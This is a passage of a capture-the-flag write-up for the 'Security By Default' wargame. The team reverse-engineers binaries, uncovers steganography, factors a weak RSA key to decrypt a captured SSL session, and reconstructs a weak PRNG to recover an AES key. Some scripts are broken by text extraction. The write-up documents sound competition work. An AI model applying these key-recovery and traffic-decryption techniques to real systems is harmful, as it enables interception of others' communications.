Writing map at 0xb6c57000 (1286144 bytes)... [S] done (map-005.bin)
Writing map at 0xb6e8c000 (20480 bytes)... [S] done (map-007.bin)
Writing map at 0xb6ec5000 (40960 bytes)... [S] done (map-008.bin)
Writing mem at 0xb6ed9000 (8192 bytes)... [S] done (map-009.bin)
Writing map at 0xb6edf000 (32768 bytes)... [S] done (map-010.bin)
Writing map at 0xb6ed9000 (8192 bytes)... [S] done (map-011.bin)
Writing map at 0xb6edc000 (28672 bytes)... [S] done (map-012.bin)
Writing map at 0xb6ede000 (8192 bytes)... [S] done (map-013.bin)
Writing map at 0xb6ed4000 (448932 bytes)... [S] done (map-014.bin)
Writing map at 0xb6f2e000 (3452928 bytes)... [S] done (map-015.bin)
Writing mem at 0xb7579000 (8192 bytes)... [S] done (mem-016.bin)
Writing mem at 0xb757b000 (1396736 bytes)... [S] done (mem-017.bin)
Writing map at 0xb76d0000 (4096 bytes)... [S] done (map-018.bin)
Writing mem at 0xb76d1000 (8192 bytes)... [S] done (mem-019.bin)
Writing mem at 0xb76d3000 (12288 bytes)... [S] done (mem-020.bin)
Writing mem at 0xb76d6000 (86016 bytes)... [S] done (mem-021.bin)
Writing mem at 0xb76ede000 (8192 bytes)... [S] done (mem-022.bin)
Writing mem at 0xb76ec000 (8192 bytes)... [S] done (mem-023.bin)
Writing mem at 0xb76ed000 (8192 bytes)... [S] done (mem-024.bin)
Writing mem at 0xb76f1000 (8192 bytes)... [S] done (mem-025.bin)
Writing mem at 0xb76f2000 (36864 bytes)... [S] done (mem-026.bin)
Writing mem at 0xb76f3000 (8192 bytes)... [S] done (mem-027.bin)
Writing mem at 0xb76f4000 (159744 bytes)... [S] done (mem-028.bin)
Writing mem at 0xb7749000 (8192 bytes)... [S] done (mem-030.bin)
Writing mem at 0xb774b000 (4096 bytes)... [S] done (mem-031.bin)
Writing mem at 0xb7774000 (8192 bytes)... [S] done (mem-032.bin)
Writing mem at 0xb777c000 (8192 bytes)... [S] done (mem-033.bin)
Writing mem at 0xb77e7000 (8192 bytes)... [S] done (mem-036.bin)
Writing mem at 0xb77e7000 (8192 bytes)... [S] done (mem-037.bin)
Writing mem at 0xb77e7000 (8192 bytes)... [S] done (mem-038.bin)
Writing mem at 0xb77e7000 (8192 bytes)... [S] done (mem-039.bin)
Writing mem at 0xb77e7000 (8192 bytes)... [S] done (mem-040.bin)
Writing mem at 0xb77f7000 (8192 bytes)... [S] done (mem-041.bin)
Writing mem at 0xb77f7000 (8192 bytes)... [S] done (mem-042.bin)
Writing mem at 0xb77f7000 (8192 bytes)... [S] done (mem-043.bin)
Writing mem at 0xb77f7000 (8192 bytes)... [S] done (mem-044.bin)
Writing mem at 0xb8be0000 (86016 bytes)... [S] done (mem-045.bin)
[*] Done (46 matching). Have a nice day.
```

Now, let's try to find something related to the code we're looking for within those memory dumps:

```
nullsub@tomatonia:~$ sbd$ grep -i 'worm' *.bin
```

Deadly! We had a look at that file and we found the Perl script in the middle of a heap landfill :-)
#!/usr/bin/perl

use LWP::Simple;
use strict;

my $userinput;
my $rights = 0;

print "Which worm virus is known as the first in history of computer worms\n";

$userinput = <STDIN>;
chomp ($userinput);

if ($userinput =~ /^Morris/) { $rights++ }

print "Which Microsoft Bulletin referred the Unicode Vulnerability\n";

$userinput = <STDIN>;
chomp ($userinput);

if ($userinput =~ /MS00-078/) { $rights++ }

print "Whats the most important piece of software in Matrix II\n";

$userinput = <STDIN>;
chomp ($userinput);

if ($userinput =~ /keygen/) { $rights++ }

if ($rights != 3) {
    print "Doh ! some answers are wrong !!\n"
    print "You have answered right $rights questions\n"
}
else {
    print "Ok Downloading the real Bin02 ;=)\n"
}

getstore('http://wargame.securitybydefault.com/514abbf86db6b2a853796208dfd8f874/binario', 'bin02') or die 'Unable to get bin02';
}

Okay, looks like this is just the first stage of the challenge, let's download the second one. Btw guys... funny name. Was this actually meant to be bin02? ;-)
The second binary looked small. It outputs the following when you run it:

```
nullsub@tomatonia:~/sbd$ ./bin03_2
Please Supply a Password
usage: ./bin03_2 texto
```

We opened it up in IDA and started looking for interesting stuff. After a couple of minutes we realized that some symbols hadn’t been stripped, a function named `ispass()` looked interesting!

We observed the same way of building strings on the stack again... uhm, that’s probably the token, right?

```
.text:0804822E public ispass
.text:0804822E ispass proc near ; CODE
XREF: main+1A6p
.text:0804822E
.text:0804822E
.text:0804822E push ebp
.text:0804822E mov ebp, esp
.text:0804822F sub esp, 0A8h
.text:08048231 mov [ebp+var_16], 'ptth'
.text:08048232 mov [ebp+var_12], 0
.text:08048235 mov [ebp+var_E], 0
.text:08048239 mov [ebp+var_20], 'w/:'
.text:0804823F mov [ebp+var_1C], 0
.text:08048244 mov [ebp+var_18], 0
.text:0804824B mov [ebp+var_26], 0
.text:0804824D mov [ebp+var_22], 0
.text:08048252 mov [ebp+var_34], 'utuo'
.text:08048259 mov [ebp+var_30], 0
.text:0804825F mov [ebp+var_2A], 'y.ww'
.text:08048265 mov [ebp+var_26], 0
.text:0804826D mov [ebp+var_22], 0
.text:08048273 mov [ebp+var_34], 'utuo'
.text:08048279 mov [ebp+var_30], 0
.text:08048281 mov [ebp+var_2C], 0
.text:08048287 mov [ebp+var_3E], 'c.eb'
.text:0804828F mov [ebp+var_3A], 0
.text:08048295 mov [ebp+var_36], 0
.text:0804829B mov [ebp+var_48], 'w/mo'
.text:080482A2 mov [ebp+var_44], 0
.text:080482A9 mov [ebp+var_40], 0
.text:080482AF mov [ebp+var_52], 'hcta'
.text:080482B6 mov [ebp+var_4E], 0
.text:080482B9 mov [ebp+var_4A], 0
.text:080482C3 mov [ebp+var_5C], 's=v?'
.text:080482CA mov [ebp+var_58], 0
.text:080482D1 mov [ebp+var_54], 0
.text:080482D7 mov [ebp+var_66], 'aR3m'
.text:080482DB mov [ebp+var_62], 0
.text:080482E5 mov [ebp+var_5E], 0
.text:080482EB mov [ebp+var_70], 'dtFx'
.text:080482F2 mov [ebp+var_6C], 0
.text:080482F9 mov [ebp+var_68], 0
```

The function gets as an argument the password supplied by command line. Let’s continue looking at it...
Uhm, aren’t they just checking the string size? The second part looks like it just handles how to print the token out:
Grand... time to do a quick test:

nullsub@tomatonia:~/sbd$ ./bin03_2 `perl -e 'print "3"x0xC9'`
You are right !!!!.
Token: http://www.youtube.com/watch?v=sm3RaxFtdl0

Btw... nice clip :)

**Token**

http://www.youtube.com/watch?v=sm3RaxFtdl0
Crypto 1

Score
100

Description

- crypto01.tgz

Solution

First of all, we have to extract the file “ast.pgp” from the TGZ compressed file. It is a Base64 encoded file but it has nothing to do with PGP. After decoding it, we can see the string “Ogg” in its header when we open it with a text viewer. It turns out to be a video file, the famous “Never gonna give you up”, which can be opened in a multimedia player like VLC, for instance.

If we look carefully while playing the video, we will see some “flashes” (some frames with big black characters). The first characters are “r1ck”, and then appears the text “It’s SNOWing” in a single frame. None of them was a valid token for the challenge. But wait... “Snow” in uppercase is a tip? Of course it is! ;-

![Image of the video]

After some hours without knowing what to do with this info, we tried to search in Google for the words “snow steganography” and the first result
was essential to solve the challenge: “The SNOW Home Page”. This tool is used to hide information using whitespaces and tabulators, and that is what exactly appears at the end of the “ast.pgp” file! These characters are ignored when decoding from Base64, but at the same time they also contain some valuable data which is hidden and encrypted.

Finally, if we launch the program using the following parameters, we will get the token of the challenge:

```plaintext
> SNOW.EXE -p rlck ast.pgp
RlcKwiLLN3V3RD1E
```

**Token**

RlcKwiLLN3V3RD1E
Crypto 2

Score
150

Description
- tcpdump.txt

Solution

We are given an excerpt of a network-sniffed conversation:

```
11:11:50.842082 00:0c:29:6f:b1:13 > 00:0c:29:32:70:25, ethertype IPv4
(0x0800), length 74: 192.168.181.129.45075 > 192.168.181.128.443: S
2552363011:2552363011(0) win 5840 <mss 1460,sackOK,timestamp 69828435
0,nop,wscale 6>
  0x0000:  000c 2932 7025 000c 296f b113 0800 4500 ..)2p%...E.
  0x0010:  003c 8750 0000 4006 0719 c0a8 b581 c0a8 .<P.@........
  0x0020:  b580 b013 01bb 9821 f803 0000 0000 a002 ........}
  0x0030:  16d0 7f6d 0000 0204 05b4 0402 080a 0429 ..m........)
  0x0040:  7f53 0000 0000 0103 0306 .S.......

11:11:50.842294 00:0c:29:32:70:25 > 00:0c:29:6f:b1:13, ethertype IPv4
(0x0800), length 78: 192.168.181.128.443 > 192.168.181.129.45075: S
2476447355:2476447355(0) ack 2552363012 win 64240 <mss 1460,nop,wscale
0,nop,timestamp 0 0,nop,nop,sackOK>
  0x0000:  000c 296f b113 000c 2932 7025 0800 4500 ..)o....)2p%..E.
  0x0010:  0040 d230 4000 8006 3c34 c0a8 b580 c0a8 .@.0..<4......
  0x0020:  b581 01bb b013 939b 967b 9821 f804 b012 ..........}
  0x0030:  faf0 e2a0 0000 0204 05b4 0103 0300 0101 ..........}
  0x0040:  080a 0000 0000 0000 0101 0402 ............
```

Not a .pcap file! Damn it!

But... don’t panic! Nothing that couldn’t be solved with some Python magic:

```python
#!/usr/bin/python
from scapy.all import *
import re,sys
import binascii

fd_dump = open(sys.argv[1], "r")
line = fd_dump.readline() 
hexstring=""
packets = []

while line:
    a=re.search('(([a-f0-9:]+) > ([a-f0-9:]+)',line)
    if a and hexstring="":
        p = Ether(binascii.unhexlify(hexstring))
        packets.append(p)
        hexstring=""
        continue
    if not a:
        content = re.search(': ([a-f0-9 ]+ )',line)
```

70
if content:  
    hexpart = re.sub('(^a-f0-9)+', '', content.group(1))  
    hexstring += hexpart  
line = fd_dump.readline()

if packets:  
    wrpcap(sys.argv[1] + " .pcap", packets)

Using former script, we can easily convert .txt to a wonderful .pcap to work with.

Once we have the capture in pcap format, we can open it with Wireshark:

It contains an encrypted (SSL) session. But it is plenty of fragmented IP packets and the SSL session is incorrect / incomplete. We promptly recall an old challenge from Defcon prequals where IP fragments overlapped. The following (Spanish) articles by Jose Selvi come to our mind:


Summarizing, IP packets are rebuilt basing on IPID and offset fields. We have an overlap when two IP fragments having same IPID have a “common part”. Graphically (taken from former article [1]):

How to build the resulting IP packet then? One choice could be to discard the IP fragment starting at offset 80. But another one could be placing it
“over” the IP fragment starting at offset 40 (so second half of that fragment is lost). The problem is that depending on TCP/IP stack (Windows, Linux, etc.), the resulting behaviour may be different because different choices could be taken.

In order to get rid of IP fragments and building full IP packets, we will use Snort engine (frag3 preprocessor). The trick is described in detail in former article [2].

In this case, we configure /etc/snort/snort.conf with:

preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy first detect_anomalies

And create the rule:

alert tcp any any -> any any (msg:"ALL MATCH"; sid:66601; rev:1;)

Then we launch Snort in order to process the fragmented pcap file:

```
root@retcher:/home/roman/wargames/sbd2011# /usr/local/bin/snort -u snort -c /etc/snort/snort.conf --fragmented.pcap
Running in IDS node

--- Initializing Snort ---
Initializing Output Plugins!
Initializing Preprocessors!
Initializing Plugins!
Parsing Rules file "/etc/snort/snort.conf"
...
SSL Preprocessor:
 SSL packets decoded: 6
  Client Hello: 1
  Server Hello: 1
  Certificate: 1
  Server Daves: 3
  Client Key Exchange: 1
  Server Key Exchange: 0
  Change Cipher: 2
  Finished: 0
  Client Application: 1
  Server Application: 1
  Alert: 0
  Unrecognized records: 1
  Completed Handshakes: 0
  Bad Handshakes: 0
  Sessions ignored: 1
  Detection disabled: 0

Snort exiting
```

We will have the resulting “defragmented” capture in /tmp directory (of course, that’s depends on Snort configuration): 

```
-rw------- 1 snort snort 3.3K 2011-01-15 14:39 tcpdump_log.1296096770
```
If we rename it to .pcap and open it with Wireshark, this time we can read a correct SSL session:

In order to decrypt session, we need both SSL certificate and key. Will it be easy for us to obtain them?

To extract the server certificate from the pcap file, we use Wireshark again. To do so, first we select the 6th packet (Server Hello, Certificate, Server Hello Done). Then we go deep into the Wireshark parsing of the data until we reach the certificate. Once we find them, we just export it using the export selected bytes feature.

Once we have the certificate in a plain file, we use Openssl to show the modulus of the RSA public key:

```
$ openssl x509 -inform DER -in exp.der -modulus
```

```
Modulus=C2CBB24FDBF923B61268E3F11A3896DE4574B3BA58730CBD6529
```

38864E2223EEE8704A17CDFD08D16B46891A61474759939C6E49AAFE7F259
5548C74C1D7FB8D24CD15CB23B4CD0A3

Then we change the value to base 10:

```
$ echo "ibase=16;C2CBB24FDBF923B61268E3F11A3896DE4574B3BA58730CBD6529
38864E2223EEE8704A17CDFD08D16B46891A61474759939C6E49AAFE7F259
5548C74C1D7FB8D24CD15CB23B4CD0A3" | bc
```

188198812920679638386972394616504398071635633794173827007633
56\422988859715234665485319060606504730453173880113033967161
99692321205734031879550656996221305168759307650257059

Once we see that the modulus is 575 bits long and we cannot factor it, we put the number in Google which give us two factors:

39807508642406493739712550055053864911990643623245267084063851
89575946838957261768583317

and
With these two numbers and the `get_priv_key` tool, we can generate the private key.

```bash
$ ./get_priv_key 398075086424064937397125500 550386491199063245267084063851895759463889572617685833174 727721461074353025622307197304822463291469530209711645985217 1130520711256363590397527 65537
```

```
-----BEGIN RSA PRIVATE KEY-----
MIIByAIBAAJAJMlLsk/b+SO2Emjj8Ro4lt5FdLO6WHMMvWUpOI2OiPu63BFk8/QjRa0aJGmEHRlmTnG5Jqv5/JZVUjHTB1/uNJM0VyyOzQowIDAQABAKgyAw5Cxp10
d95+15exPbouvLFeIbfXWF+1vh2MvU8+1hmCf9j+hFOk1x22JJ+Orwv1+iatW45It/qwwNMvxs8RultCp7ECJQDzXLg18AMsbxHxSaWaD+c9tDFiyzBjr/tpcqE
C+.JM2tqlcCJQDM6VRX8fElUbeEEdmsavcGBM2OgEBlisuOM7tv83puaJUC
JQDVULB18lKuzJWcrk/metuJNj925g61MwHSBxoDcm7HtkUCJQCjGt8+GQD0
o3YVjC05i4W3RBYC+RcqPXHeFyieRcYjP/ZPnkCJQCHxtwY3AprVoxTVxFirnX
d18EHe1mo+re3Qg318A6/y7w=
-----END RSA PRIVATE KEY-----
```

We save the key into “cry02-key.txt” file and configure Wireshark to decrypt SSL using former key file. In order to do so, we open “Edit -> Preferences”.

---

3 [http://dlerch.opendomo.org/cp/Cryptography/get_priv_key.c](http://dlerch.opendomo.org/cp/Cryptography/get_priv_key.c)
Then we click on Apply / OK and auto-magically we get a HTTP (unencrypted) session:

The token is embedded in HTTP response:

Token
followus:@secbydefault
Crypto 3

Score
200

Description

We are given a file encrypted with AES-ECB. We are told that the 128bit password was generated using a weak PRNG from which we know 2310 bits. Our goal is to synthesize the PRNG from the leaked information, recover the password and decrypt the file!

Solution

Our first step was researching the list of possible PRNGs, so we could systematically test which one of them was used. In [1] we got a list of typical PRNG implementations:

- General Feedback Shift Registers: \( x_n = x_{n-p} \oplus x_{n-q} \)
- LCG: \( x_{n+1} = (a \cdot x_n + c) \mod m \)
- LSFR: \( Gx = g_n \cdot X_n + g_{n-1} \cdot X_{n-1} + g_{n-2} \cdot X_{n-2} + \ldots + g_1 \cdot X_1 + g_0 \)
- Xorshift: Repetition of XOR and SHIFT operations [2]

Our next step was to check if we could find any pattern that fulfilled one of those previous formulas. We began with the easiest one, \( x_n = x_{n-p} \oplus x_{n-q} \), seeking this pattern among the 2310 bits. In order to do so, we bruteforced the separation between words, q and p, while trying different word sizes (1, 2, 4, 8 ... bits). We used the following simple script to automate the work.

```python
def analyse_prng():
    for separation1 in range(1, 40):
        for separation2 in range(separation1+1, 40):
            ini_step = separation2
            for step in range(ini_step, len(p)/length):
                token1 = p[ ini + (step - separation1)*length : ini + (step-separation1+1)*length ]
                token2 = p[ ini + (step - separation2)*length : ini + (step-separation2+1)*length ]
                test = p[ ini + step*length : ini + (step+1)*(length) ]
                if bina(test) != bina(token1) ^ bina(token2):
                    break
```

if step-ini_step > 5 :
    print "Possible match %d / %d" % ( step, len(p) /length )
    print "%d %d => %d\n" % ( bina(token1), bina(token2), bina(test) )

Luckily, we found a pattern very quickly:

Samsa$ python analyse.py
Step 6/547 [2-30] - 0111 0000 => 0111
Step 7/547 [2-30] - 1011 0000 => 1011
....
Step 546/547 [2-30] - 1010 1110 => 0100

The exact formula detected was: \( x_n = x_{n-15} \land x_{n-1} \) using 4 as the size of word (nibbles). Using this pattern, we could regenerate the original 2310 bits from a subset of 4*16 bits: we were on the right track! With this routine we could also regenerate the whole cycle of the PRNG and detect its length:

Seed:
01000000101010110000000100110111110110101010110100100110
Found cycle @ 8191
Length key: 32768

We regenerated the sequence of 32768 bits of the PRNG but we couldn’t know where the “beginning” was. So we had to test for all the possible passwords (subsets of 128 consecutive bits).

As we were not sure that the decrypted file would be ASCII text we stole Ero’s python entropy function [3]⁶ that scores data from 8 to 0 (Being 8 complete random data). We noticed that the average decrypted sample had a score above 7.9, so we set the threshold to 7.5 and run the program expecting some luck...

However, that never happened, as there was an error on the challenge making it impossible to get the correct key! You can read more on this in the wonderful official solution that Vierito wrote about the challenge [4]⁷.

We have later encrypted the binary with the correct key in order to assess if the system would have worked correctly:

Samsa$ python crypto03.py

---

PRNG:
0100000010101011000000011001101111110110101010110
100100110
Found cycle @ 8191
Length key : 32768
Possible password!! Score[7.277338] :
f76ab499b1ddbd2dac6d90923e3857a0

Samsa$
openssl enc -d -in encrypted -out dec.gif -K
f76ab499b1ddbd2dac6d90923e3857a0 -aes-128-ecb -iv dead

Notice that old Openssl versions enforce the use of the parameter –iv even if it is not really used (we lost some precious time figuring it out)!

Finally this is the GIF obtained by decrypting original file:

Token
aLFSRist00WeaKz
Contact us

dreyer
   Jose Carlos Luna Durán
   Mail: Jose.Carlos.Luna@gmail.com
   Twitter: @dreyercito

kachakil
   Daniel Kachakil
   Mail: dani@kachakil.com
   Twitter: @kachakil

nullsub
   Mario Ballano
   Mail: mballano@gmail.com
   Twitter: @marioballano

romansoft
   Román Medina-Heigl Hernández
   Mail: roman@rs-labs.com
   Twitter: @roman_soft

uri
   Oriol Carreras
   Mail: gregoriosamsa@gmail.com
   Twitter: @samsa2k8

whats
   Albert Sellarès Torra
   Mail: whats@wekk.net
   Twitter: @whatsbcn
Conclusions & Acknowledgements

“SbD” wargame was a nice competition. We want to congratulate and thank “Security By Default” staff (as well as collaborators like Javi Moreno “Vierito” or Pedro Laguna) for creating this nice wargame. It was funny and well organized.

Of course, we cannot forget the Spanish security firm “Panda Security”. It is always a good idea to promote security and high-technical events like this. Thank you for sponsoring the prize.

We also want to congratulate other contestants (individuals and teams) for playing this wargame and making it so fun, especially to Painsec (they also solved all challenges), Gesteiro & co, Phib, Pepelux & Okaboy and PPP.

Finally, thanks to all of you for reading!

-- int3pids